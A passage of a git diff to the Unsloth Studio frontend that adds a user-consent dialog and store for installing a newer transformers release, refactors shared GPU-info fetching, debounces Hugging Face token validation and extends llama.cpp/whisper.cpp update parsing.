-        outputDir: payload.details?.output_dir ?? state.outputDir,
+        outputDir:
+          payload.details?.output_dir !== undefined
+            ? payload.details.output_dir
+            : state.outputDir,
         lossHistory: metricHistory.lossHistory ?? state.lossHistory,
         lrHistory: metricHistory.lrHistory ?? state.lrHistory,
         gradNormHistory: metricHistory.gradNormHistory ?? state.gradNormHistory,
diff --git a/studio/frontend/src/features/training/types/runtime.ts b/studio/frontend/src/features/training/types/runtime.ts
index 8ed0ce0037..373e876653 100644
--- a/studio/frontend/src/features/training/types/runtime.ts
+++ b/studio/frontend/src/features/training/types/runtime.ts
@@ -26,7 +26,8 @@ export interface TrainingStatusResponse {
     total_steps?: number;
     loss?: number;
     learning_rate?: number;
-    output_dir?: string;
+    // null = explicit clear (run stopped without saving); absent = unchanged.
+    output_dir?: string | null;
   } | null;
   metric_history?: {
     steps?: number[];
diff --git a/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts b/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts
new file mode 100644
index 0000000000..2df9f712ff
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/api/transformers-upgrade-api.ts
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+interface InstallLatestTransformersResponse {
+  success: boolean;
+  version: string;
+  message: string;
+  /** The server unloaded the active chat model before the swap (set even on a
+   *  structured failure, so callers can restore their model state). */
+  model_unloaded?: boolean;
+  /** On a version-mismatch failure: the release that superseded the requested
+   *  one, so Retry can use it. */
+  latest_version?: string | null;
+}
+
+/** Consented install of the latest transformers into the sidecar; synchronous, can take minutes. */
+export async function installLatestTransformers(
+  version: string,
+): Promise<InstallLatestTransformersResponse> {
+  const response = await authFetch("/api/inference/install-latest-transformers", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ version }),
+  });
+  if (!response.ok) {
+    throw new Error(await readFastApiError(response));
+  }
+  return (await response.json()) as InstallLatestTransformersResponse;
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx b/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx
new file mode 100644
index 0000000000..3e39a8ff1c
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/components/transformers-upgrade-dialog.tsx
@@ -0,0 +1,167 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Spinner } from "@/components/ui/spinner";
+import { cn } from "@/lib/utils";
+import { PackageIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useTransformersUpgradeDialogStore } from "../stores/transformers-upgrade-dialog-store";
+
+function modelDisplayName(modelName: string | null): string {
+  if (!modelName) return "This model";
+  return modelName.split("/").pop() || modelName;
+}
+
+/** Root-mounted consent dialog for models needing a newer transformers;
+ *  Install runs the sidecar install and resumes the paused load on success. */
+export function TransformersUpgradeDialog() {
+  const open = useTransformersUpgradeDialogStore((s) => s.open);
+  const modelName = useTransformersUpgradeDialogStore((s) => s.modelName);
+  const upgrade = useTransformersUpgradeDialogStore((s) => s.upgrade);
+  const phase = useTransformersUpgradeDialogStore((s) => s.phase);
+  const errorMessage = useTransformersUpgradeDialogStore((s) => s.errorMessage);
+  const trustRemoteCodeFallback = useTransformersUpgradeDialogStore(
+    (s) => s.trustRemoteCodeFallback,
+  );
+  const install = useTransformersUpgradeDialogStore((s) => s.install);
+  const resolve = useTransformersUpgradeDialogStore((s) => s.resolve);
+
+  const displayName = modelDisplayName(modelName);
+  const modelType = upgrade?.model_type ?? "unknown";
+  const version = upgrade?.pypi_version ?? null;
+  // Only released PyPI versions are installable; dev (main) builds are never offered.
+  const installable = Boolean(upgrade?.supported_in_pypi && version);
+  const devOnly = !installable && Boolean(upgrade?.supported_in_main);
+  const installing = phase === "installing";
+
+  return (
+    <AlertDialog
+      open={open}
+      onOpenChange={(next) => {
+        // Escape/overlay dismiss must not abandon an in-flight install.
+        if (!next && !installing) resolve(false);
+      }}
+    >
+      <AlertDialogContent className="max-w-lg">
+        <AlertDialogHeader className="min-w-0">
+          <div className="flex w-full min-w-0 items-start gap-3">
+            <div className="flex size-9 shrink-0 items-center justify-center rounded-full bg-blue-500/10 text-blue-600 dark:text-blue-400">
+              <HugeiconsIcon icon={PackageIcon} className="size-5" />
+            </div>
+            <div className="min-w-0 flex-1 space-y-3">
+              <div className="space-y-1">
+                <AlertDialogTitle>New model architecture</AlertDialogTitle>
+                <AlertDialogDescription>
+                  <span className="font-medium text-foreground">
+                    {displayName}
+                  </span>{" "}
+                  uses the{" "}
+                  <span className="font-mono text-foreground">{modelType}</span>{" "}
+                  architecture, which your installed transformers does not
+                  support yet.{" "}
+                  {installable ? (
+                    <>
+                      Install transformers{" "}
+                      <span className="font-medium text-foreground">
+                        {version}
+                      </span>{" "}
+                      from PyPI to load it. The install runs once and can take
+                      a minute; loading continues automatically afterwards.
+                    </>
+                  ) : devOnly ? (
+                    <>
+                      Even the latest transformers release on PyPI does not
+                      support it yet: the architecture is only available on the
+                      transformers development branch (main), and Unsloth does
+                      not install development builds. Support arrives with the
+                      next transformers release on PyPI.
+                    </>
+                  ) : (
+                    <>
+                      No released transformers version supports it yet, so it
+                      cannot be loaded.
+                    </>
+                  )}
+                  {!installable && trustRemoteCodeFallback ? (
+                    <>
+                      {" "}
+                      This model also ships its own modeling code; you can
+                      continue and review enabling that custom code instead.
+                    </>
+                  ) : null}
+                </AlertDialogDescription>
+              </div>
+
+              {phase === "error" && errorMessage ? (
+                <p className="rounded-lg border border-red-500/30 bg-red-500/10 px-3 py-2 text-xs text-red-600 dark:text-red-400">
+                  {errorMessage}
+                </p>
+              ) : null}
+
+              {installing ? (
+                <p className="flex items-center gap-2 text-xs text-muted-foreground">
+                  <Spinner className="size-3.5" />
+                  Installing transformers {version}... This can take a minute.
+                </p>
+              ) : null}
+            </div>
+          </div>
+        </AlertDialogHeader>
+
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={installing}>Cancel</AlertDialogCancel>
+          {installable ? (
+            <>
+              {phase === "error" && trustRemoteCodeFallback ? (
+                // Install failed but the model ships custom code: offer the
+                // caller's trust_remote_code gate instead of forcing a retry.
+                <AlertDialogAction
+                  className="bg-transparent text-foreground hover:bg-accent"
+                  onClick={() => resolve(true)}
+                >
+                  Continue with custom code
+                </AlertDialogAction>
+              ) : null}
+              <AlertDialogAction
+                disabled={installing}
+                className={cn(installing && "pointer-events-none")}
+                onClick={(event) => {
+                  // Keep the dialog open; the store closes it on success.
+                  event.preventDefault();
+                  void install();
+                }}
+              >
+                {installing ? (
+                  <>
+                    <Spinner className="size-4" />
+                    Installing...
+                  </>
+                ) : phase === "error" ? (
+                  "Retry install"
+                ) : (
+                  `Install transformers ${version}`
+                )}
+              </AlertDialogAction>
+            </>
+          ) : trustRemoteCodeFallback ? (
+            // No installable release but the model ships custom code: continue
+            // into the caller's trust_remote_code gate as the last resort.
+            <AlertDialogAction onClick={() => resolve(true)}>
+              Continue with custom code
+            </AlertDialogAction>
+          ) : null}
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts b/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts
new file mode 100644
index 0000000000..7d79d08d9c
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/hooks/use-transformers-upgrade-consent.ts
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useTransformersUpgradeDialogStore } from "../stores/transformers-upgrade-dialog-store";
+import type { TransformersUpgradeInfo } from "../types";
+
+interface ConfirmArgs {
+  modelName: string;
+  /** validate's transformers_upgrade payload; null/undefined skips the dialog. */
+  upgrade: TransformersUpgradeInfo | null | undefined;
+  /** When no release is installable, offer continuing into the caller's custom-code gate. */
+  trustRemoteCodeFallback?: boolean;
+}
+
+/** Pause a load needing a newer transformers on the consent dialog and run the install.
+ *  Resolves true when the load can continue; false on cancel or not-installable with no fallback. */
+export async function confirmTransformersUpgradeIfNeeded({
+  modelName,
+  upgrade,
+  trustRemoteCodeFallback,
+}: ConfirmArgs): Promise<boolean> {
+  if (!upgrade) return true;
+  return useTransformersUpgradeDialogStore
+    .getState()
+    .requestConsent(modelName, upgrade, {
+      trustRemoteCodeFallback: Boolean(trustRemoteCodeFallback),
+    });
+}
diff --git a/studio/frontend/src/features/transformers-upgrade/index.ts b/studio/frontend/src/features/transformers-upgrade/index.ts
new file mode 100644
index 0000000000..4318fd7830
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/index.ts
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { TransformersUpgradeDialog } from "./components/transformers-upgrade-dialog";
+export { confirmTransformersUpgradeIfNeeded } from "./hooks/use-transformers-upgrade-consent";
+export { installLatestTransformers } from "./api/transformers-upgrade-api";
+export { useTransformersUpgradeDialogStore } from "./stores/transformers-upgrade-dialog-store";
+export type { TransformersUpgradeInfo } from "./types";
diff --git a/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts b/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts
new file mode 100644
index 0000000000..9e307fb1a1
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/stores/transformers-upgrade-dialog-store.ts
@@ -0,0 +1,139 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { installLatestTransformers } from "../api/transformers-upgrade-api";
+import type { TransformersUpgradeInfo, TransformersUpgradePhase } from "../types";
+
+type Resolver = (installed: boolean) => void;
+
+// One in-flight consent; a new request resolves any prior pending one as declined.
+let pendingResolver: Resolver | null = null;
+
+interface TransformersUpgradeDialogStore {
+  open: boolean;
+  modelName: string | null;
+  upgrade: TransformersUpgradeInfo | null;
+  phase: TransformersUpgradePhase;
+  errorMessage: string | null;
+  /** Model ships custom code; without a PyPI install the load may fall back to trust_remote_code. */
+  trustRemoteCodeFallback: boolean;
+  /** True once this consent's install completed. The install unloads the previous
+   *  model before swapping, so the caller must treat it as already unloaded; the
+   *  custom-code fallback resolves true without installing and leaves it loaded. */
+  installRan: boolean;
+  /** True when the server unloaded the active chat model during this consent,
+   *  including a swap that failed AFTER the unload: callers must then treat
+   *  their previous model as gone and roll back on any later cancel. */
+  serverUnloadedChat: boolean;
+  /** Read-and-clear serverUnloadedChat: each waiter consumes the signal once,
+   *  so a superseding consent can neither erase it before the old waiter reads
+   *  it nor leak it into an unrelated later load. */
+  consumeServerUnloadedChat: () => boolean;
+  /** Open the dialog for a paused load; resolves true on install success or custom-code fallback. */
+  requestConsent: (
+    modelName: string,
+    upgrade: TransformersUpgradeInfo,
+    options?: { trustRemoteCodeFallback?: boolean },
+  ) => Promise<boolean>;
+  /** Accept/Retry: run the install; on success resolve(true) and close. */
+  install: () => Promise<void>;
+  resolve: (installed: boolean) => void;
+}
+
+export const useTransformersUpgradeDialogStore =
+  create<TransformersUpgradeDialogStore>()((set, get) => ({
+    open: false,
+    modelName: null,
+    upgrade: null,
+    phase: "consent",
+    errorMessage: null,
+    trustRemoteCodeFallback: false,
+    installRan: false,
+    serverUnloadedChat: false,
+    requestConsent: (modelName, upgrade, options) =>
+      new Promise<boolean>((resolve) => {
+        pendingResolver?.(false);
+        pendingResolver = resolve;
+        set({
+          open: true,
+          modelName,
+          upgrade,
+          phase: "consent",
+          errorMessage: null,
+          trustRemoteCodeFallback: Boolean(options?.trustRemoteCodeFallback),
+          installRan: false,
+        });
+      }),
+    consumeServerUnloadedChat: () => {
+      const value = get().serverUnloadedChat;
+      if (value) set({ serverUnloadedChat: false });
+      return value;
+    },
+    install: async () => {
+      const { upgrade, phase } = get();
+      const version = upgrade?.pypi_version;
+      if (!version || phase === "installing") return;
+      const requestResolver = pendingResolver;
+      set({ phase: "installing", errorMessage: null });
+      let result: Awaited<ReturnType<typeof installLatestTransformers>>;
+      try {
+        result = await installLatestTransformers(version);
+        // Latch the server-side unload IMMEDIATELY, before any resolver-identity
+        // guard: even a superseded consent's install may have unloaded the chat
+        // model, and the signal must survive for whichever load consumes it next.
+        if (result.model_unloaded) {
+          set({ serverUnloadedChat: true });
+        }
+      } catch (error) {
+        // Ignore the failure if a newer request superseded this consent.
+        if (pendingResolver === requestResolver) {
+          set({
+            phase: "error",
+            errorMessage:
+              error instanceof Error && error.message
+                ? error.message
+                : "Failed to install transformers.",
+          });
+        }
+        return;
+      }
+      if (pendingResolver === requestResolver) {
+        if (result.success) {
+          // serverUnloadedChat was latched above (and is never reset here): a
+          // retry after a failed-after-unload attempt reports false because the
+          // model is already gone, and a superseded install may have set it too.
+          set({ installRan: true });
+          get().resolve(true);
+          return;
+        }
+        // Structured failure: the swap failed but may have already unloaded the
+        // chat model; record that so a later cancel still rolls the caller back.
+        // A version mismatch also carries the superseding release, so Retry
+        // re-requests a version that can actually succeed.
+        const { upgrade } = get();
+        set({
+          phase: "error",
+          errorMessage: result.message || "Failed to install transformers.",
+          serverUnloadedChat:
+            get().serverUnloadedChat || Boolean(result.model_unloaded),
+          ...(result.latest_version && upgrade
+            ? { upgrade: { ...upgrade, pypi_version: result.latest_version } }
+            : {}),
+        });
+      }
+    },
+    resolve: (installed) => {
+      const resolver = pendingResolver;
+      pendingResolver = null;
+      set({
+        open: false,
+        modelName: null,
+        upgrade: null,
+        phase: "consent",
+        errorMessage: null,
+        trustRemoteCodeFallback: false,
+      });
+      resolver?.(installed);
+    },
+  }));
diff --git a/studio/frontend/src/features/transformers-upgrade/types.ts b/studio/frontend/src/features/transformers-upgrade/types.ts
new file mode 100644
index 0000000000..cf6bbe3d2f
--- /dev/null
+++ b/studio/frontend/src/features/transformers-upgrade/types.ts
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+/** Wire shape of `transformers_upgrade` from /api/inference/validate. */
+export interface TransformersUpgradeInfo {
+  /** config.json model_type unknown to installed transformers. */
+  model_type: string;
+  /** Latest transformers release on PyPI at check time. */
+  pypi_version?: string | null;
+  /** Latest PyPI release ships this model_type (installable after consent). */
+  supported_in_pypi?: boolean;
+  /** Only transformers main ships it (dev-only; not installable). */
+  supported_in_main?: boolean;
+}
+
+export type TransformersUpgradePhase = "consent" | "installing" | "error";
diff --git a/studio/frontend/src/hooks/index.ts b/studio/frontend/src/hooks/index.ts
index 5b2fa43ae7..33289ffe9e 100644
--- a/studio/frontend/src/hooks/index.ts
+++ b/studio/frontend/src/hooks/index.ts
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-
 export { useDebouncedValue } from "./use-debounced-value";
 export { useGpuInfo } from "./use-gpu-info";
 export { useGpuUtilization } from "./use-gpu-utilization";
@@ -11,3 +10,4 @@ export { useHfTokenValidation } from "./use-hf-token-validation";
 export { useTauriBackend } from "./use-tauri-backend";
 export { useCollapseScrollLock } from "./use-collapse-scroll-lock";
 export { useSystemInfo } from "./use-system";
+export { useWheelScrollRef } from "./use-wheel-scroll-ref";
diff --git a/studio/frontend/src/hooks/use-gpu-info.ts b/studio/frontend/src/hooks/use-gpu-info.ts
index 1e313acdf3..db2cc021be 100644
--- a/studio/frontend/src/hooks/use-gpu-info.ts
+++ b/studio/frontend/src/hooks/use-gpu-info.ts
@@ -15,6 +15,19 @@ export interface GpuInfo {
   systemRamTotalGb: number
 }
 
+export interface SystemGpuDevice {
+  index: number;
+  name: string;
+  memoryTotalGb: number;
+  /** Free VRAM at fetch time. Degrades to the total when the utilization
+   * probe had no usage data; 0 only when the total is unknown too. */
+  memoryFreeGb: number;
+  /** "physical" = `index` is a stable physical/PCI id safe to pin via gpu_ids;
+   *  "relative" = an ordinal into a parent CUDA_VISIBLE_DEVICES mask, which the
+   *  backend can't map back, so the picker must not offer it. */
+  physicalIndex: boolean;
+}
+
 const DEFAULT_GPU: GpuInfo = {
   available: false,
   name: "Unknown",
@@ -25,70 +38,135 @@ const DEFAULT_GPU: GpuInfo = {
   systemRamTotalGb: 0
 };
 
-// Module-level cache so multiple components share one fetch.
-let cachedGpu: GpuInfo | null = null;
-let fetchPromise: Promise<GpuInfo> | null = null;
+// One module-level cache so every GPU hook shares a single /api/system fetch.
+let cachedSystem: SystemInfoResponse | null = null;
+let systemPromise: Promise<SystemInfoResponse | null> | null = null;
 
-async function fetchGpuOnce(): Promise<GpuInfo> {
-  if (cachedGpu) return cachedGpu;
-  if (fetchPromise) return fetchPromise;
-
-  fetchPromise = (async () => {
+async function fetchSystemOnce(): Promise<SystemInfoResponse | null> {
+  if (cachedSystem) return cachedSystem;
+  if (systemPromise) return systemPromise;
+  systemPromise = (async () => {
     try {
       const res = await authFetch("/api/system");
       if (!res.ok) throw new Error(`HTTP ${res.status}`);
-
-      const data = await res.json() as SystemInfoResponse;
-      const gpuData = data?.gpu;
-
-      // CPU/RAM exist even on hosts without a GPU, so populate them on every path.
-      // No discrete GPU (e.g. Mac): still surface system RAM so memory math
-      // (unified memory) has a budget to work with.
-      const base = {
-        cpuCore: data?.cpu?.physical_count ?? 0,
-        cpuThread: data?.cpu?.logical_count ?? 0,
-        systemRamAvailableGb: data?.memory?.available_gb ?? 0,
-        systemRamTotalGb: data?.memory?.total_gb ?? 0,
-      };
-
-      const devices = gpuData?.devices ?? [];
-      const info: GpuInfo =
-        gpuData?.available && devices.length
-          ? {
-              ...base,
-              available: true,
-              name: devices[0]?.name ?? "Unknown",
-              memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0),
-            }
-          : { ...DEFAULT_GPU, ...base };
-      cachedGpu = info;
-      return info;
+      cachedSystem = (await res.json()) as SystemInfoResponse;
+      return cachedSystem;
     } catch {
-      // Reset promise so subsequent calls retry (e.g. backend wasn't ready)
-      fetchPromise = null;
-      return DEFAULT_GPU;
+      systemPromise = null; // reset so a later call retries (backend not ready)
+      return null;
     }
   })();
+  return systemPromise;
+}
 
-  return fetchPromise;
+function toGpuInfo(data: SystemInfoResponse | null): GpuInfo {
+  // CPU/RAM exist even on GPU-less hosts (e.g. Mac), so populate them on every
+  // path: unified-memory math still needs a RAM budget to work with.
+  const base = {
+    cpuCore: data?.cpu?.physical_count ?? 0,
+    cpuThread: data?.cpu?.logical_count ?? 0,
+    systemRamAvailableGb: data?.memory?.available_gb ?? 0,
+    systemRamTotalGb: data?.memory?.total_gb ?? 0,
+  };
+  const gpuData = data?.gpu;
+  const devices = gpuData?.devices ?? [];
+  if (!gpuData?.available || !devices.length) {
+    return { ...DEFAULT_GPU, ...base };
+  }
+  return {
+    ...base,
+    available: true,
+    name: devices[0]?.name ?? "Unknown",
+    memoryTotalGb: devices.reduce((sum, d) => sum + (d.memory_total_gb ?? 0), 0),
+  };
+}
+
+function toGpuDevices(data: SystemInfoResponse | null): SystemGpuDevice[] {
+  // Unpinnable configurations must hide every pick surface: XPU indices are
+  // torch-xpu ordinals no applicator speaks, and Vulkan-only builds pin ggml's
+  // own ordinals -- /load and /validate 400 picks on both, so the backend
+  // reports gpu.gguf_gpu_ids_supported and every gate keyed on physicalIndex
+  // (picker, persisted-pick reconcile) follows it. The device flavor lives on
+  // the TOP-LEVEL device_backend field; absent support info defaults to
+  // pinnable (older backend).
+  const pinnableBackend =
+    data?.device_backend !== "xpu" &&
+    data?.gpu?.gguf_gpu_ids_supported !== false;
+  return (data?.gpu?.devices ?? [])
+    .filter((d) => typeof d.index === "number")
+    .map((d) => ({
+      index: d.index as number,
+      name: d.name ?? `GPU ${d.index}`,
+      memoryTotalGb: d.memory_total_gb ?? 0,
+      memoryFreeGb: d.vram_free_gb ?? 0,
+      physicalIndex: pinnableBackend && d.index_kind === "physical",
+    }));
+}
+
+/** Aggregate GPU info from /api/system; shares one module-level fetch across all GPU hooks. */
+export function useGpuInfo(): GpuInfo {
+  const [gpu, setGpu] = useState<GpuInfo>(
+    cachedSystem ? toGpuInfo(cachedSystem) : DEFAULT_GPU,
+  );
+  useEffect(() => {
+    // No early return on cachedSystem: a consumer mounting as the cache fills
+    // (between render and effect) would otherwise stay stuck at the default.
+    let cancelled = false;
+    fetchSystemOnce().then((d) => {
+      if (!cancelled) setGpu(toGpuInfo(d));
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+  return gpu;
+}
+
+/** All backend-visible GPUs (index, name, total VRAM); shares the same fetch. */
+export function useGpuDevices(): SystemGpuDevice[] {
+  const [devices, setDevices] = useState<SystemGpuDevice[]>(
+    cachedSystem ? toGpuDevices(cachedSystem) : [],
+  );
+  useEffect(() => {
+    // No early return on cachedSystem: a consumer mounting as the cache fills
+    // (between render and effect) would otherwise stay stuck at the default.
+    let cancelled = false;
+    fetchSystemOnce().then((d) => {
+      if (!cancelled) setDevices(toGpuDevices(d));
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+  return devices;
 }
 
 /**
- * Fetch GPU info from /api/system. Cached at module level, so only one request
- * is made no matter how many components call this hook.
+ * Await the shared /api/system fetch so cachedPinnableGpuIndices (and the
+ * store's reconcilePersistedGpuIds) can validate a persisted pick before a
+ * load path sends it -- on a cold cache the reconcile passes ids through
+ * unvalidated, and a stale cross-host pick then fails /load with the picker
+ * hidden. Resolves immediately once the module cache is warm; a failed fetch
+ * keeps the cache cold, preserving the "can't validate, backend guards"
+ * degradation.
  */
-export function useGpuInfo(): GpuInfo {
-  const [gpu, setGpu] = useState<GpuInfo>(cachedGpu ?? DEFAULT_GPU);
+export async function ensureGpuDeviceCache(): Promise<void> {
+  await fetchSystemOnce();
+}
 
-  useEffect(() => {
-    if (cachedGpu) return;
-
-    let cancelled = false;
-    fetchGpuOnce().then((info) => {
-      if (!cancelled) setGpu(info);
-    });
-    return () => { cancelled = true; };
-  }, []);
-
-  return gpu;
-}
\ No newline at end of file
+/**
+ * Pinnable physical GPU indices from the already-fetched /api/system cache, for
+ * non-React code (the store) that needs to validate a persisted `gpu_ids` pick
+ * without triggering a fetch. Returns:
+ *  - `null` when the cache isn't populated yet (caller can't validate, so keep
+ *    the pick and let the backend guard reject a truly bad one);
+ *  - `[]` when the host has no pinnable multi-GPU set (single GPU, or relative/
+ *    UUID-masked indices) -- the picker is hidden, so any saved pick is stale;
+ *  - the physical indices otherwise.
+ */
+export function cachedPinnableGpuIndices(): number[] | null {
+  if (!cachedSystem) return null;
+  const physical = toGpuDevices(cachedSystem).filter((d) => d.physicalIndex);
+  // Mirrors the sheet's showGpuPicker gate: only a 2+ physical-GPU host can pin.
+  return physical.length > 1 ? physical.map((d) => d.index) : [];
+}
diff --git a/studio/frontend/src/hooks/use-hf-token-validation.ts b/studio/frontend/src/hooks/use-hf-token-validation.ts
index 11f56a2151..64e8a869b4 100644
--- a/studio/frontend/src/hooks/use-hf-token-validation.ts
+++ b/studio/frontend/src/hooks/use-hf-token-validation.ts
@@ -1,8 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { whoAmI } from "@huggingface/hub";
-import { useCallback, useEffect, useRef, useState } from "react";
+import { validateHfToken } from "@/features/hf-auth";
+import { useEffect, useRef, useState } from "react";
 import { useDebouncedValue } from "./use-debounced-value";
 
 export interface HfTokenValidationState {
@@ -17,48 +17,96 @@ const INITIAL: HfTokenValidationState = {
   isChecking: false,
 };
 
+interface CompletedValidation extends HfTokenValidationState {
+  token: string;
+}
+
+const NO_COMPLETED_VALIDATION: CompletedValidation = {
+  ...INITIAL,
+  token: "",
+};
+
+// Current user access tokens contain 34 characters after the hf_ prefix.
+// Action-time validation still accepts legacy shapes without spending quota
+// on every intermediate value typed into a live form field.
+const COMPLETE_HF_TOKEN = /^hf_[A-Za-z0-9]{34}$/;
+
 /**
  * Validates the HF token via the whoami-v2 API, debounced to avoid excessive
  * requests while typing. isValid is null until checked.
  */
 export function useHfTokenValidation(token: string): HfTokenValidationState {
-  const debouncedToken = useDebouncedValue(
-    token.trim().replace(/^["']+|["']+$/g, ""),
-    500,
+  const normalizedToken = token.trim().replace(/^["']+|["']+$/g, "");
+  const debouncedToken = useDebouncedValue(normalizedToken, 500);
+  const [completed, setCompleted] = useState<CompletedValidation>(
+    NO_COMPLETED_VALIDATION,
   );
-  const [state, setState] = useState<HfTokenValidationState>(INITIAL);
   const versionRef = useRef(0);
-
-  const runCheck = useCallback(async (t: string) => {
-    if (!t) {
-      setState({ isValid: null, error: null, isChecking: false });
-      return;
-    }
-
-    const v = ++versionRef.current;
-    setState((prev) => ({ ...prev, isChecking: true, error: null }));
-
-    try {
-      await whoAmI({ accessToken: t });
-      if (versionRef.current !== v) return;
-      setState({ isValid: true, error: null, isChecking: false });
-    } catch {
-      if (versionRef.current !== v) return;
-      setState({
-        isValid: false,
-        error: "invalid or expired token",
-        isChecking: false,
-      });
-    }
-  }, []);
+  const shouldValidate = COMPLETE_HF_TOKEN.test(debouncedToken);
 
   useEffect(() => {
-    if (!debouncedToken) {
-      setState(INITIAL);
+    if (!shouldValidate) {
+      versionRef.current += 1;
       return;
     }
-    runCheck(debouncedToken);
-  }, [debouncedToken, runCheck]);
+    const version = ++versionRef.current;
+    void validateHfToken(debouncedToken).then(
+      (result) => {
+        if (versionRef.current !== version) return;
+        if (result.status === "valid") {
+          setCompleted({
+            token: debouncedToken,
+            isValid: true,
+            error: null,
+            isChecking: false,
+          });
+        } else if (result.status === "invalid") {
+          setCompleted({
+            token: debouncedToken,
+            isValid: false,
+            error: "invalid or expired token",
+            isChecking: false,
+          });
+        } else if (result.status === "rate_limited") {
+          const wait = result.retryAfterSeconds
+            ? ` Try again in about ${Math.ceil(result.retryAfterSeconds / 60)} minute(s).`
+            : " Try again later.";
+          setCompleted({
+            token: debouncedToken,
+            isValid: null,
+            error: `Token verification is rate limited.${wait}`,
+            isChecking: false,
+          });
+        } else {
+          setCompleted({
+            token: debouncedToken,
+            isValid: null,
+            error:
+              "Could not verify the token. Check your connection and try again.",
+            isChecking: false,
+          });
+        }
+      },
+      () => {
+        if (versionRef.current !== version) return;
+        setCompleted({
+          token: debouncedToken,
+          isValid: null,
+          error:
+            "Could not verify the token. Check your connection and try again.",
+          isChecking: false,
+        });
+      },
+    );
+  }, [debouncedToken, shouldValidate]);
 
-  return state;
+  if (!COMPLETE_HF_TOKEN.test(normalizedToken)) return INITIAL;
+  if (completed.token !== normalizedToken) {
+    return { isValid: null, error: null, isChecking: true };
+  }
+  return {
+    isValid: completed.isValid,
+    error: completed.error,
+    isChecking: false,
+  };
 }
diff --git a/studio/frontend/src/hooks/use-llama-update-check.ts b/studio/frontend/src/hooks/use-llama-update-check.ts
index d8f894b1b1..999700ae1f 100644
--- a/studio/frontend/src/hooks/use-llama-update-check.ts
+++ b/studio/frontend/src/hooks/use-llama-update-check.ts
@@ -22,11 +22,15 @@ export interface LlamaUpdateJob {
   error: string | null;
   // Download fraction while running, 1 on success.
   progress: number | null;
+  // Set once the job leaves "running"; identifies a completed job so a
+  // repeated fetch of the same success can be told apart from the next one.
+  finished_at: string | null;
 }
 
 export interface LlamaUpdateStatus {
   supported: boolean;
   update_available: boolean;
+  component: "llama.cpp" | "whisper.cpp";
   installed_tag: string | null;
   latest_tag: string | null;
   // Prebuilt download size in bytes, if known.
@@ -34,30 +38,76 @@ export interface LlamaUpdateStatus {
   job: LlamaUpdateJob;
 }
 
+function parseJob(value: unknown): LlamaUpdateJob {
+  const job = (value ?? {}) as Record<string, unknown>;
+  return {
+    state: (job.state as LlamaUpdateJob["state"]) ?? "idle",
+    message: typeof job.message === "string" ? job.message : "",
+    from_tag: typeof job.from_tag === "string" ? job.from_tag : null,
+    to_tag: typeof job.to_tag === "string" ? job.to_tag : null,
+    reload_required:
+      typeof job.reload_required === "boolean" ? job.reload_required : null,
+    error: typeof job.error === "string" ? job.error : null,
+    progress: typeof job.progress === "number" ? job.progress : null,
+    finished_at: typeof job.finished_at === "string" ? job.finished_at : null,
+  };
+}
+
 function parseStatus(value: unknown): LlamaUpdateStatus | null {
   if (!value || typeof value !== "object") return null;
   const s = value as Record<string, unknown>;
-  const job = (s.job ?? {}) as Record<string, unknown>;
+  const component =
+    s.update_component === "whisper" ? "whisper.cpp" : "llama.cpp";
+  const whisper =
+    s.whisper && typeof s.whisper === "object"
+      ? (s.whisper as Record<string, unknown>)
+      : null;
+  // Legacy top-level version fields intentionally retain their llama meaning.
+  // A whisper-only update must display the nested whisper release instead of
+  // presenting equal llama tags as a new llama update.
+  const details = component === "whisper.cpp" && whisper ? whisper : s;
   return {
     supported: s.supported === true,
